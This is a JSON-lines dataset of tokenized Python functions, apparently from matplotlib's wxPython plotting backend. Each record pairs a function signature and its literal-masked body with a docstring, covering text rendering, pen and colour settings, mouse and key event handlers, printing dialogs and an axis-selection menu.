{"signature": "def draw_text(self, gc, x, y, s, prop, angle, ismath):", "body": "if ismath: s = self.strip_math(s)<EOL>DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>gc.select()<EOL>self.handle_clip_rectangle(gc)<EOL>gfx_ctx = gc.gfx_ctx<EOL>font = self.get_wx_font(s, prop)<EOL>color = gc.get_wxcolour(gc.get_rgb())<EOL>gfx_ctx.SetFont(font, color)<EOL>w, h, d = self.get_text_width_height_descent(s, prop, ismath)<EOL>x = int(x)<EOL>y = int(y-h)<EOL>if angle == <NUM_LIT:0.0>:<EOL><INDENT>gfx_ctx.DrawText(s, x, y)<EOL><DEDENT>else:<EOL><INDENT>rads = angle / <NUM_LIT> * math.pi<EOL>xo = h * math.sin(rads)<EOL>yo = h * math.cos(rads)<EOL>gfx_ctx.DrawRotatedText(s, x - xo, y - yo, rads)<EOL><DEDENT>gc.unselect()<EOL>", "docstring": "Render the matplotlib.text.Text instance\nNone)", "id": "f17227:c1:m9"}
{"signature": "def new_gc(self):", "body": "DEBUG_MSG('<STR_LIT>', <NUM_LIT:2>, self)<EOL>self.gc = GraphicsContextWx(self.bitmap, self)<EOL>self.gc.select()<EOL>self.gc.unselect()<EOL>return self.gc<EOL>", "docstring": "Return an instance of a GraphicsContextWx, and sets the current gc copy", "id": "f17227:c1:m10"}
{"signature": "def get_gc(self):", "body": "<EOL>assert self.gc != None, \"<STR_LIT>\"<EOL>return self.gc<EOL>", "docstring": "Fetch the locally cached gc.", "id": "f17227:c1:m11"}
{"signature": "def get_wx_font(self, s, prop):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>key = hash(prop)<EOL>fontprop = prop<EOL>fontname = fontprop.get_name()<EOL>font = self.fontd.get(key)<EOL>if font is not None:<EOL><INDENT>return font<EOL><DEDENT>wxFontname = self.fontnames.get(fontname, wx.ROMAN)<EOL>wxFacename = '<STR_LIT>' <EOL>size = self.points_to_pixels(fontprop.get_size_in_points())<EOL>font =wx.Font(int(size+<NUM_LIT:0.5>),             <EOL>wxFontname,                <EOL>self.fontangles[fontprop.get_style()],   <EOL>self.fontweights[fontprop.get_weight()], <EOL>False,                     <EOL>wxFacename)                <EOL>self.fontd[key] = font<EOL>return font<EOL>", "docstring": "Return a wx font.  Cache instances in a font dictionary for\nefficiency", "id": "f17227:c1:m12"}
{"signature": "def points_to_pixels(self, points):", "body": "return points*(PIXELS_PER_INCH/<NUM_LIT>*self.dpi/<NUM_LIT>)<EOL>", "docstring": "convert point measures to pixes using dpi and the pixels per\ninch of the display", "id": "f17227:c1:m13"}
{"signature": "def select(self):", "body": "if sys.platform=='<STR_LIT:win32>':<EOL><INDENT>self.dc.SelectObject(self.bitmap)<EOL>self.IsSelected = True<EOL><DEDENT>", "docstring": "Select the current bitmap into this wxDC instance", "id": "f17227:c2:m1"}
{"signature": "def unselect(self):", "body": "if sys.platform=='<STR_LIT:win32>':<EOL><INDENT>self.dc.SelectObject(wx.NullBitmap)<EOL>self.IsSelected = False<EOL><DEDENT>", "docstring": "Select a Null bitmasp into this wxDC instance", "id": "f17227:c2:m2"}
{"signature": "def set_foreground(self, fg, isRGB=None):", "body": "<EOL>DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self.select()<EOL>GraphicsContextBase.set_foreground(self, fg, isRGB)<EOL>self._pen.SetColour(self.get_wxcolour(self.get_rgb()))<EOL>self.gfx_ctx.SetPen(self._pen)<EOL>self.unselect()<EOL>", "docstring": "Set the foreground color.  fg can be a matlab format string, a\nhtml hex color string, an rgb unit tuple, or a float between 0\nand 1.  In the latter case, grayscale is used.", "id": "f17227:c2:m3"}
{"signature": "def set_graylevel(self, frac):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self.select()<EOL>GraphicsContextBase.set_graylevel(self, frac)<EOL>self._pen.SetColour(self.get_wxcolour(self.get_rgb()))<EOL>self.gfx_ctx.SetPen(self._pen)<EOL>self.unselect()<EOL>", "docstring": "Set the foreground color.  fg can be a matlab format string, a\nhtml hex color string, an rgb unit tuple, or a float between 0\nand 1.  In the latter case, grayscale is used.", "id": "f17227:c2:m4"}
{"signature": "def set_linewidth(self, w):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self.select()<EOL>if w><NUM_LIT:0> and w<<NUM_LIT:1>: w = <NUM_LIT:1><EOL>GraphicsContextBase.set_linewidth(self, w)<EOL>lw = int(self.renderer.points_to_pixels(self._linewidth))<EOL>if lw==<NUM_LIT:0>: lw = <NUM_LIT:1><EOL>self._pen.SetWidth(lw)<EOL>self.gfx_ctx.SetPen(self._pen)<EOL>self.unselect()<EOL>", "docstring": "Set the line width.", "id": "f17227:c2:m5"}
{"signature": "def set_capstyle(self, cs):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self.select()<EOL>GraphicsContextBase.set_capstyle(self, cs)<EOL>self._pen.SetCap(GraphicsContextWx._capd[self._capstyle])<EOL>self.gfx_ctx.SetPen(self._pen)<EOL>self.unselect()<EOL>", "docstring": "Set the capstyle as a string in ('butt', 'round', 'projecting')", "id": "f17227:c2:m6"}
{"signature": "def set_joinstyle(self, js):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self.select()<EOL>GraphicsContextBase.set_joinstyle(self, js)<EOL>self._pen.SetJoin(GraphicsContextWx._joind[self._joinstyle])<EOL>self.gfx_ctx.SetPen(self._pen)<EOL>self.unselect()<EOL>", "docstring": "Set the join style to be one of ('miter', 'round', 'bevel')", "id": "f17227:c2:m7"}
{"signature": "def set_linestyle(self, ls):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self.select()<EOL>GraphicsContextBase.set_linestyle(self, ls)<EOL>try:<EOL><INDENT>self._style = GraphicsContextWx._dashd_wx[ls]<EOL><DEDENT>except KeyError:<EOL><INDENT>self._style = wx.LONG_DASH<EOL><DEDENT>if wx.Platform == '<STR_LIT>':<EOL><INDENT>self.set_linewidth(<NUM_LIT:1>)<EOL><DEDENT>self._pen.SetStyle(self._style)<EOL>self.gfx_ctx.SetPen(self._pen)<EOL>self.unselect()<EOL>", "docstring": "Set the line style to be one of", "id": "f17227:c2:m8"}
{"signature": "def get_wxcolour(self, color):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>if len(color) == <NUM_LIT:3>:<EOL><INDENT>r, g, b = color<EOL>r *= <NUM_LIT:255><EOL>g *= <NUM_LIT:255><EOL>b *= <NUM_LIT:255><EOL>return wx.Colour(red=int(r), green=int(g), blue=int(b))<EOL><DEDENT>else:<EOL><INDENT>r, g, b, a = color<EOL>r *= <NUM_LIT:255><EOL>g *= <NUM_LIT:255><EOL>b *= <NUM_LIT:255><EOL>a *= <NUM_LIT:255><EOL>return wx.Colour(red=int(r), green=int(g), blue=int(b), alpha=int(a))<EOL><DEDENT>", "docstring": "return a wx.Colour from RGB format", "id": "f17227:c2:m9"}
{"signature": "def __init__(self, parent, id, figure):", "body": "FigureCanvasBase.__init__(self, figure)<EOL>l,b,w,h = figure.bbox.bounds<EOL>w = int(math.ceil(w))<EOL>h = int(math.ceil(h))<EOL>wx.Panel.__init__(self, parent, id, size=wx.Size(w, h))<EOL>def do_nothing(*args, **kwargs):<EOL><INDENT>warnings.warn('<STR_LIT>'%backend_version)<EOL>pass<EOL><DEDENT>try:<EOL><INDENT>getattr(self, '<STR_LIT>')<EOL><DEDENT>except AttributeError:<EOL><INDENT>self.SetInitialSize = getattr(self, '<STR_LIT>', do_nothing)<EOL><DEDENT>if not hasattr(self,'<STR_LIT>'):<EOL><INDENT>self.IsShownOnScreen = getattr(self, '<STR_LIT>', lambda *args: True)<EOL><DEDENT>self.bitmap =wx.EmptyBitmap(w, h)<EOL>DEBUG_MSG(\"<STR_LIT>\" % (w,h), <NUM_LIT:2>, self)<EOL>self._isDrawn = False<EOL>bind(self, wx.EVT_SIZE, self._onSize)<EOL>bind(self, wx.EVT_PAINT, self._onPaint)<EOL>bind(self, wx.EVT_ERASE_BACKGROUND, self._onEraseBackground)<EOL>bind(self, wx.EVT_KEY_DOWN, self._onKeyDown)<EOL>bind(self, wx.EVT_KEY_UP, self._onKeyUp)<EOL>bind(self, wx.EVT_RIGHT_DOWN, self._onRightButtonDown)<EOL>bind(self, wx.EVT_RIGHT_DCLICK, self._onRightButtonDown)<EOL>bind(self, wx.EVT_RIGHT_UP, self._onRightButtonUp)<EOL>bind(self, wx.EVT_MOUSEWHEEL, self._onMouseWheel)<EOL>bind(self, wx.EVT_LEFT_DOWN, self._onLeftButtonDown)<EOL>bind(self, wx.EVT_LEFT_DCLICK, self._onLeftButtonDown)<EOL>bind(self, wx.EVT_LEFT_UP, self._onLeftButtonUp)<EOL>bind(self, wx.EVT_MOTION, self._onMotion)<EOL>bind(self, wx.EVT_LEAVE_WINDOW, self._onLeave)<EOL>bind(self, wx.EVT_ENTER_WINDOW, self._onEnter)<EOL>bind(self, wx.EVT_IDLE, self._onIdle)<EOL>self.SetBackgroundStyle(wx.BG_STYLE_CUSTOM)<EOL>self.macros = {} <EOL>self.Printer_Init()<EOL>", "docstring": "Initialise a FigureWx instance.\n\n- Initialise the FigureCanvasBase and wxPanel parents.\n- Set event handlers for:\n  EVT_SIZE  (Resize event)\n  EVT_PAINT (Paint event)", "id": "f17227:c3:m0"}
{"signature": "def Copy_to_Clipboard(self, event=None):", "body": "bmp_obj = wx.BitmapDataObject()<EOL>bmp_obj.SetBitmap(self.bitmap)<EOL>wx.TheClipboard.Open()<EOL>wx.TheClipboard.SetData(bmp_obj)<EOL>wx.TheClipboard.Close()<EOL>", "docstring": "copy bitmap of canvas to system clipboard", "id": "f17227:c3:m2"}
{"signature": "def Printer_Init(self):", "body": "self.printerData = wx.PrintData()<EOL>self.printerData.SetPaperId(wx.PAPER_LETTER)<EOL>self.printerData.SetPrintMode(wx.PRINT_MODE_PRINTER)<EOL>self.printerPageData= wx.PageSetupDialogData()<EOL>self.printerPageData.SetMarginBottomRight((<NUM_LIT>,<NUM_LIT>))<EOL>self.printerPageData.SetMarginTopLeft((<NUM_LIT>,<NUM_LIT>))<EOL>self.printerPageData.SetPrintData(self.printerData)<EOL>self.printer_width = <NUM_LIT><EOL>self.printer_margin= <NUM_LIT:0.5><EOL>", "docstring": "initialize printer settings using wx methods", "id": "f17227:c3:m3"}
{"signature": "def Printer_Setup(self, event=None):", "body": "dmsg = \"\"\"<STR_LIT>\"\"\"<EOL>dlg = wx.Dialog(self, -<NUM_LIT:1>, '<STR_LIT>' , (-<NUM_LIT:1>,-<NUM_LIT:1>))<EOL>df = dlg.GetFont()<EOL>df.SetWeight(wx.NORMAL)<EOL>df.SetPointSize(<NUM_LIT:11>)<EOL>dlg.SetFont(df)<EOL>x_wid = wx.TextCtrl(dlg,-<NUM_LIT:1>,value=\"<STR_LIT>\" % self.printer_width, size=(<NUM_LIT>,-<NUM_LIT:1>))<EOL>x_mrg = wx.TextCtrl(dlg,-<NUM_LIT:1>,value=\"<STR_LIT>\" % self.printer_margin,size=(<NUM_LIT>,-<NUM_LIT:1>))<EOL>sizerAll = wx.BoxSizer(wx.VERTICAL)<EOL>sizerAll.Add(wx.StaticText(dlg,-<NUM_LIT:1>,dmsg),<EOL><NUM_LIT:0>, wx.ALL | wx.EXPAND, <NUM_LIT:5>)<EOL>sizer = wx.FlexGridSizer(<NUM_LIT:0>,<NUM_LIT:3>)<EOL>sizerAll.Add(sizer, <NUM_LIT:0>, wx.ALL | wx.EXPAND, <NUM_LIT:5>)<EOL>sizer.Add(wx.StaticText(dlg,-<NUM_LIT:1>,'<STR_LIT>'),<EOL><NUM_LIT:1>, wx.ALIGN_LEFT|wx.ALL, <NUM_LIT:2>)<EOL>sizer.Add(x_wid,<EOL><NUM_LIT:1>, wx.ALIGN_LEFT|wx.ALL, <NUM_LIT:2>)<EOL>sizer.Add(wx.StaticText(dlg,-<NUM_LIT:1>,'<STR_LIT>'),<EOL><NUM_LIT:1>, wx.ALIGN_LEFT|wx.ALL, <NUM_LIT:2>)<EOL>sizer.Add(wx.StaticText(dlg,-<NUM_LIT:1>,'<STR_LIT>'),<EOL><NUM_LIT:1>, wx.ALIGN_LEFT|wx.ALL, <NUM_LIT:2>)<EOL>sizer.Add(x_mrg,<EOL><NUM_LIT:1>, wx.ALIGN_LEFT|wx.ALL, <NUM_LIT:2>)<EOL>sizer.Add(wx.StaticText(dlg,-<NUM_LIT:1>,'<STR_LIT>'),<EOL><NUM_LIT:1>, wx.ALIGN_LEFT|wx.ALL, <NUM_LIT:2>)<EOL>btn = wx.Button(dlg,wx.ID_OK, \"<STR_LIT>\")<EOL>btn.SetDefault()<EOL>sizer.Add(btn, <NUM_LIT:1>, wx.ALIGN_LEFT, <NUM_LIT:5>)<EOL>btn = wx.Button(dlg,wx.ID_CANCEL, \"<STR_LIT>\")<EOL>sizer.Add(btn, <NUM_LIT:1>, wx.ALIGN_LEFT, <NUM_LIT:5>)<EOL>dlg.SetSizer(sizerAll)<EOL>dlg.SetAutoLayout(True)<EOL>sizerAll.Fit(dlg)<EOL>if dlg.ShowModal() == wx.ID_OK:<EOL><INDENT>try:<EOL><INDENT>self.printer_width  = float(x_wid.GetValue())<EOL>self.printer_margin = float(x_mrg.GetValue())<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if ((self.printer_width + self.printer_margin) > <NUM_LIT>):<EOL><INDENT>self.printerData.SetOrientation(wx.LANDSCAPE)<EOL><DEDENT>else:<EOL><INDENT>self.printerData.SetOrientation(wx.PORTRAIT)<EOL><DEDENT>dlg.Destroy()<EOL>return<EOL>", "docstring": "set up figure for printing.  The standard wx Printer\n        Setup Dialog seems to die easily. Therefore, this setup\n        simply asks for image width and margin for printing.", "id": "f17227:c3:m4"}
{"signature": "def Printer_Setup2(self, event=None):", "body": "if hasattr(self, '<STR_LIT>'):<EOL><INDENT>data = wx.PageSetupDialogData()<EOL>data.SetPrintData(self.printerData)<EOL><DEDENT>else:<EOL><INDENT>data = wx.PageSetupDialogData()<EOL><DEDENT>data.SetMarginTopLeft( (<NUM_LIT:15>, <NUM_LIT:15>) )<EOL>data.SetMarginBottomRight( (<NUM_LIT:15>, <NUM_LIT:15>) )<EOL>dlg = wx.PageSetupDialog(self, data)<EOL>if dlg.ShowModal() == wx.ID_OK:<EOL><INDENT>data = dlg.GetPageSetupData()<EOL>tl = data.GetMarginTopLeft()<EOL>br = data.GetMarginBottomRight()<EOL><DEDENT>self.printerData = wx.PrintData(data.GetPrintData())<EOL>dlg.Destroy()<EOL>", "docstring": "set up figure for printing.  Using the standard wx Printer\n        Setup Dialog.", "id": "f17227:c3:m5"}
{"signature": "def Printer_Preview(self, event=None):", "body": "po1  = PrintoutWx(self, width=self.printer_width,<EOL>margin=self.printer_margin)<EOL>po2  = PrintoutWx(self, width=self.printer_width,<EOL>margin=self.printer_margin)<EOL>self.preview = wx.PrintPreview(po1,po2,self.printerData)<EOL>if not self.preview.Ok():  print(\"<STR_LIT>\")<EOL>self.preview.SetZoom(<NUM_LIT:50>)<EOL>frameInst= self<EOL>while not isinstance(frameInst, wx.Frame):<EOL><INDENT>frameInst= frameInst.GetParent()<EOL><DEDENT>frame = wx.PreviewFrame(self.preview, frameInst, \"<STR_LIT>\")<EOL>frame.Initialize()<EOL>frame.SetPosition(self.GetPosition())<EOL>frame.SetSize((<NUM_LIT>,<NUM_LIT>))<EOL>frame.Centre(wx.BOTH)<EOL>frame.Show(True)<EOL>self.gui_repaint()<EOL>", "docstring": "generate Print Preview with wx Print mechanism", "id": "f17227:c3:m6"}
{"signature": "def Printer_Print(self, event=None):", "body": "pdd = wx.PrintDialogData()<EOL>pdd.SetPrintData(self.printerData)<EOL>pdd.SetToPage(<NUM_LIT:1>)<EOL>printer  = wx.Printer(pdd)<EOL>printout  = PrintoutWx(self, width=int(self.printer_width),<EOL>margin=int(self.printer_margin))<EOL>print_ok = printer.Print(self, printout, True)<EOL>if wx.VERSION_STRING >= '<STR_LIT>':<EOL><INDENT>if not print_ok and not printer.GetLastError() == wx.PRINTER_CANCELLED:<EOL><INDENT>wx.MessageBox(\"\"\"<STR_LIT>\"\"\",<EOL>\"<STR_LIT>\", wx.OK)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not print_ok:<EOL><INDENT>wx.MessageBox(\"\"\"<STR_LIT>\"\"\",<EOL>\"<STR_LIT>\", wx.OK)<EOL><DEDENT><DEDENT>printout.Destroy()<EOL>self.gui_repaint()<EOL>", "docstring": "Print figure using wx Print mechanism", "id": "f17227:c3:m7"}
{"signature": "def draw_idle(self):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self._isDrawn = False  <EOL>if hasattr(self,'<STR_LIT>'):<EOL><INDENT>self._idletimer.Restart(IDLE_DELAY)<EOL><DEDENT>else:<EOL><INDENT>self._idletimer = wx.FutureCall(IDLE_DELAY,self._onDrawIdle)<EOL><DEDENT>", "docstring": "Delay rendering until the GUI is idle.", "id": "f17227:c3:m8"}
{"signature": "def draw(self, drawDC=None):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>self.renderer = RendererWx(self.bitmap, self.figure.dpi)<EOL>self.figure.draw(self.renderer)<EOL>self._isDrawn = True<EOL>self.gui_repaint(drawDC=drawDC)<EOL>", "docstring": "Render the figure using RendererWx instance renderer, or using a\npreviously defined renderer if none is specified.", "id": "f17227:c3:m10"}
{"signature": "def start_event_loop(self, timeout=<NUM_LIT:0>):", "body": "if hasattr(self, '<STR_LIT>'):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>id = wx.NewId()<EOL>timer = wx.Timer(self, id=id)<EOL>if timeout > <NUM_LIT:0>:<EOL><INDENT>timer.Start(timeout*<NUM_LIT:1000>, oneShot=True)<EOL>bind(self, wx.EVT_TIMER, self.stop_event_loop, id=id)<EOL><DEDENT>self._event_loop = wx.EventLoop()<EOL>self._event_loop.Run()<EOL>timer.Stop()<EOL>", "docstring": "Start an event loop.  This is used to start a blocking event\nloop so that interactive functions, such as ginput and\nwaitforbuttonpress, can wait for events.  This should not be\nconfused with the main GUI event loop, which is always running\nand has nothing to do with this.\n\nCall signature::\n\nstart_event_loop(self,timeout=0)\n\nThis call blocks until a callback function triggers\nstop_event_loop() or *timeout* is reached.  If *timeout* is\n<=0, never timeout.\n\nRaises RuntimeError if event loop is already running.", "id": "f17227:c3:m12"}
{"signature": "def stop_event_loop(self, event=None):", "body": "if hasattr(self,'<STR_LIT>'):<EOL><INDENT>if self._event_loop.IsRunning():<EOL><INDENT>self._event_loop.Exit()<EOL><DEDENT>del self._event_loop<EOL><DEDENT>", "docstring": "Stop an event loop.  This is used to stop a blocking event\nloop so that interactive functions, such as ginput and\nwaitforbuttonpress, can wait for events.\n\nCall signature::\n\nstop_event_loop_default(self)", "id": "f17227:c3:m13"}
{"signature": "def _get_imagesave_wildcards(self):", "body": "default_filetype = self.get_default_filetype()<EOL>filetypes = self.get_supported_filetypes_grouped()<EOL>sorted_filetypes = list(filetypes.items())<EOL>sorted_filetypes.sort()<EOL>wildcards = []<EOL>extensions = []<EOL>filter_index = <NUM_LIT:0><EOL>for i, (name, exts) in enumerate(sorted_filetypes):<EOL><INDENT>ext_list = '<STR_LIT:;>'.join(['<STR_LIT>' % ext for ext in exts])<EOL>extensions.append(exts[<NUM_LIT:0>])<EOL>wildcard = '<STR_LIT>' % (name, ext_list, ext_list)<EOL>if default_filetype in exts:<EOL><INDENT>filter_index = i<EOL><DEDENT>wildcards.append(wildcard)<EOL><DEDENT>wildcards = '<STR_LIT:|>'.join(wildcards)<EOL>return wildcards, extensions, filter_index<EOL>", "docstring": "return the wildcard string for the filesave dialog", "id": "f17227:c3:m14"}
{"signature": "def gui_repaint(self, drawDC=None):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>if self.IsShownOnScreen():<EOL><INDENT>if drawDC is None:<EOL><INDENT>drawDC=wx.ClientDC(self)<EOL><DEDENT>drawDC.BeginDrawing()<EOL>drawDC.DrawBitmap(self.bitmap, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>drawDC.EndDrawing()<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Performs update of the displayed image on the GUI canvas, using the\nsupplied device context.  If drawDC is None, a ClientDC will be used to\nredraw the image.", "id": "f17227:c3:m15"}
{"signature": "def _onPaint(self, evt):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:1>, self)<EOL>drawDC = wx.PaintDC(self)<EOL>if not self._isDrawn:<EOL><INDENT>self.draw(drawDC=drawDC)<EOL><DEDENT>else:<EOL><INDENT>self.gui_repaint(drawDC=drawDC)<EOL><DEDENT>evt.Skip()<EOL>", "docstring": "Called when wxPaintEvt is generated", "id": "f17227:c3:m25"}
{"signature": "def _onEraseBackground(self, evt):", "body": "pass<EOL>", "docstring": "Called when window is redrawn; since we are blitting the entire\nimage, we can leave this blank to suppress flicker.", "id": "f17227:c3:m26"}
{"signature": "def _onSize(self, evt):", "body": "DEBUG_MSG(\"<STR_LIT>\", <NUM_LIT:2>, self)<EOL>self._width, self._height = self.GetClientSize()<EOL>self.bitmap =wx.EmptyBitmap(self._width, self._height)<EOL>self._isDrawn = False<EOL>if self._width <= <NUM_LIT:1> or self._height <= <NUM_LIT:1>: return <EOL>dpival = self.figure.dpi<EOL>winch = self._width/dpival<EOL>hinch = self._height/dpival<EOL>self.figure.set_size_inches(winch, hinch)<EOL>self.Refresh(eraseBackground=False)<EOL>", "docstring": "Called when wxEventSize is generated.\n\nIn this application we attempt to resize to fit the window, so it\nis better to take the performance hit and redraw the whole window.", "id": "f17227:c3:m27"}
{"signature": "def _onIdle(self, evt):", "body": "evt.Skip()<EOL>FigureCanvasBase.idle_event(self, guiEvent=evt)<EOL>", "docstring": "a GUI idle event", "id": "f17227:c3:m29"}
{"signature": "def _onKeyDown(self, evt):", "body": "key = self._get_key(evt)<EOL>evt.Skip()<EOL>FigureCanvasBase.key_press_event(self, key, guiEvent=evt)<EOL>", "docstring": "Capture key press.", "id": "f17227:c3:m30"}
{"signature": "def _onKeyUp(self, evt):", "body": "key = self._get_key(evt)<EOL>evt.Skip()<EOL>FigureCanvasBase.key_release_event(self, key, guiEvent=evt)<EOL>", "docstring": "Release key.", "id": "f17227:c3:m31"}
{"signature": "def _onRightButtonDown(self, evt):", "body": "x = evt.GetX()<EOL>y = self.figure.bbox.height - evt.GetY()<EOL>evt.Skip()<EOL>self.CaptureMouse()<EOL>FigureCanvasBase.button_press_event(self, x, y, <NUM_LIT:3>, guiEvent=evt)<EOL>", "docstring": "Start measuring on an axis.", "id": "f17227:c3:m32"}
{"signature": "def _onRightButtonUp(self, evt):", "body": "x = evt.GetX()<EOL>y = self.figure.bbox.height - evt.GetY()<EOL>evt.Skip()<EOL>if self.HasCapture(): self.ReleaseMouse()<EOL>FigureCanvasBase.button_release_event(self, x, y, <NUM_LIT:3>, guiEvent=evt)<EOL>", "docstring": "End measuring on an axis.", "id": "f17227:c3:m33"}
{"signature": "def _onLeftButtonDown(self, evt):", "body": "x = evt.GetX()<EOL>y = self.figure.bbox.height - evt.GetY()<EOL>evt.Skip()<EOL>self.CaptureMouse()<EOL>FigureCanvasBase.button_press_event(self, x, y, <NUM_LIT:1>, guiEvent=evt)<EOL>", "docstring": "Start measuring on an axis.", "id": "f17227:c3:m34"}
{"signature": "def _onLeftButtonUp(self, evt):", "body": "x = evt.GetX()<EOL>y = self.figure.bbox.height - evt.GetY()<EOL>evt.Skip()<EOL>if self.HasCapture(): self.ReleaseMouse()<EOL>FigureCanvasBase.button_release_event(self, x, y, <NUM_LIT:1>, guiEvent=evt)<EOL>", "docstring": "End measuring on an axis.", "id": "f17227:c3:m35"}
{"signature": "def _onMouseWheel(self, evt):", "body": "<EOL>x = evt.GetX()<EOL>y = self.figure.bbox.height - evt.GetY()<EOL>delta = evt.GetWheelDelta()<EOL>rotation = evt.GetWheelRotation()<EOL>rate = evt.GetLinesPerAction()<EOL>step = rate*float(rotation)/delta<EOL>evt.Skip()<EOL>if wx.Platform == '<STR_LIT>':<EOL><INDENT>if not hasattr(self,'<STR_LIT>'):<EOL><INDENT>self._skipwheelevent = True<EOL><DEDENT>elif self._skipwheelevent:<EOL><INDENT>self._skipwheelevent = False<EOL>return  <EOL><DEDENT>else:<EOL><INDENT>self._skipwheelevent = True<EOL><DEDENT><DEDENT>FigureCanvasBase.scroll_event(self, x, y, step, guiEvent=evt)<EOL>", "docstring": "Translate mouse wheel events into matplotlib events", "id": "f17227:c3:m36"}
{"signature": "def _onMotion(self, evt):", "body": "x = evt.GetX()<EOL>y = self.figure.bbox.height - evt.GetY()<EOL>evt.Skip()<EOL>FigureCanvasBase.motion_notify_event(self, x, y, guiEvent=evt)<EOL>", "docstring": "Start measuring on an axis.", "id": "f17227:c3:m37"}
{"signature": "def _onLeave(self, evt):", "body": "evt.Skip()<EOL>FigureCanvasBase.leave_notify_event(self, guiEvent = evt)<EOL>", "docstring": "Mouse has left the window.", "id": "f17227:c3:m38"}
{"signature": "def _onEnter(self, evt):", "body": "FigureCanvasBase.enter_notify_event(self, guiEvent = evt)<EOL>", "docstring": "Mouse has entered the window.", "id": "f17227:c3:m39"}
{"signature": "def GetToolBar(self):", "body": "return self.toolbar<EOL>", "docstring": "Override wxFrame::GetToolBar as we don't have managed toolbar", "id": "f17227:c4:m5"}
{"signature": "def resize(self, width, height):", "body": "self.canvas.SetInitialSize(wx.Size(width, height))<EOL>self.window.GetSizer().Fit(self.window)<EOL>", "docstring": "Set the canvas size in pixels", "id": "f17227:c5:m3"}
{"signature": "def _onMenuButton(self, evt):", "body": "x, y = self.GetPositionTuple()<EOL>w, h = self.GetSizeTuple()<EOL>self.PopupMenuXY(self._menu, x, y+h-<NUM_LIT:4>)<EOL>evt.Skip()<EOL>", "docstring": "Handle menu button pressed.", "id": "f17227:c6:m2"}
{"signature": "def _handleSelectAllAxes(self, evt):", "body": "if len(self._axisId) == <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>for i in range(len(self._axisId)):<EOL><INDENT>self._menu.Check(self._axisId[i], True)<EOL><DEDENT>self._toolbar.set_active(self.getActiveAxes())<EOL>evt.Skip()<EOL>", "docstring": "Called when the 'select all axes' menu item is selected.", "id": "f17227:c6:m3"}
{"signature": "def _handleInvertAxesSelected(self, evt):", "body": "if len(self._axisId) == <NUM_LIT:0>: return<EOL>for i in range(len(self._axisId)):<EOL><INDENT>if self._menu.IsChecked(self._axisId[i]):<EOL><INDENT>self._menu.Check(self._axisId[i], False)<EOL><DEDENT>else:<EOL><INDENT>self._menu.Check(self._axisId[i], True)<EOL><DEDENT><DEDENT>self._toolbar.set_active(self.getActiveAxes())<EOL>evt.Skip()<EOL>", "docstring": "Called when the invert all menu item is selected", "id": "f17227:c6:m4"}
{"signature": "def _onMenuItemSelected(self, evt):", "body": "current = self._menu.IsChecked(evt.GetId())<EOL>if current:<EOL><INDENT>new = False<EOL><DEDENT>else:<EOL><INDENT>new = True<EOL><DEDENT>self._menu.Check(evt.GetId(), new)<EOL>self._toolbar.set_active(self.getActiveAxes())<EOL>evt.Skip()<EOL>", "docstring": "Called whenever one of the specific axis menu items is selected", "id": "f17227:c6:m5"}
{"signature": "def updateAxes(self, maxAxis):", "body": "if maxAxis > len(self._axisId):<EOL><INDENT>for i in range(len(self._axisId) + <NUM_LIT:1>, maxAxis + <NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>menuId =wx.NewId()<EOL>self._axisId.append(menuId)<EOL>self._menu.Append(menuId, \"<STR_LIT>\" % i, \"<STR_LIT>\" % i, True)<EOL>self._menu.Check(menuId, True)<EOL>bind(self, wx.EVT_MENU, self._onMenuItemSelected, id=menuId)<EOL><DEDENT><DEDENT>self._toolbar.set_active(list(range(len(self._axisId))))<EOL>", "docstring": "Ensures that there are entries for max_axis axes in the menu\n        (selected by default).", "id": "f17227:c6:m6"}
{"signature": "def getActiveAxes(self):", "body": "active = []<EOL>for i in range(len(self._axisId)):<EOL><INDENT>if self._menu.IsChecked(self._axisId[i]):<EOL><INDENT>active.append(i)<EOL><DEDENT><DEDENT>return active<EOL>", "docstring": "Return a list of the selected axes.", "id": "f17227:c6:m7"}
{"signature": "def updateButtonText(self, lst):", "body": "axis_txt = '<STR_LIT>'<EOL>for e in lst:<EOL><INDENT>axis_txt += '<STR_LIT>' % (e+<NUM_LIT:1>)<EOL><DEDENT>self.SetLabel(\"<STR_LIT>\" % axis_txt[:-<NUM_LIT:1>])<EOL>", "docstring": "Update the list of selected axes in the menu button", "id": "f17227:c6:m8"}
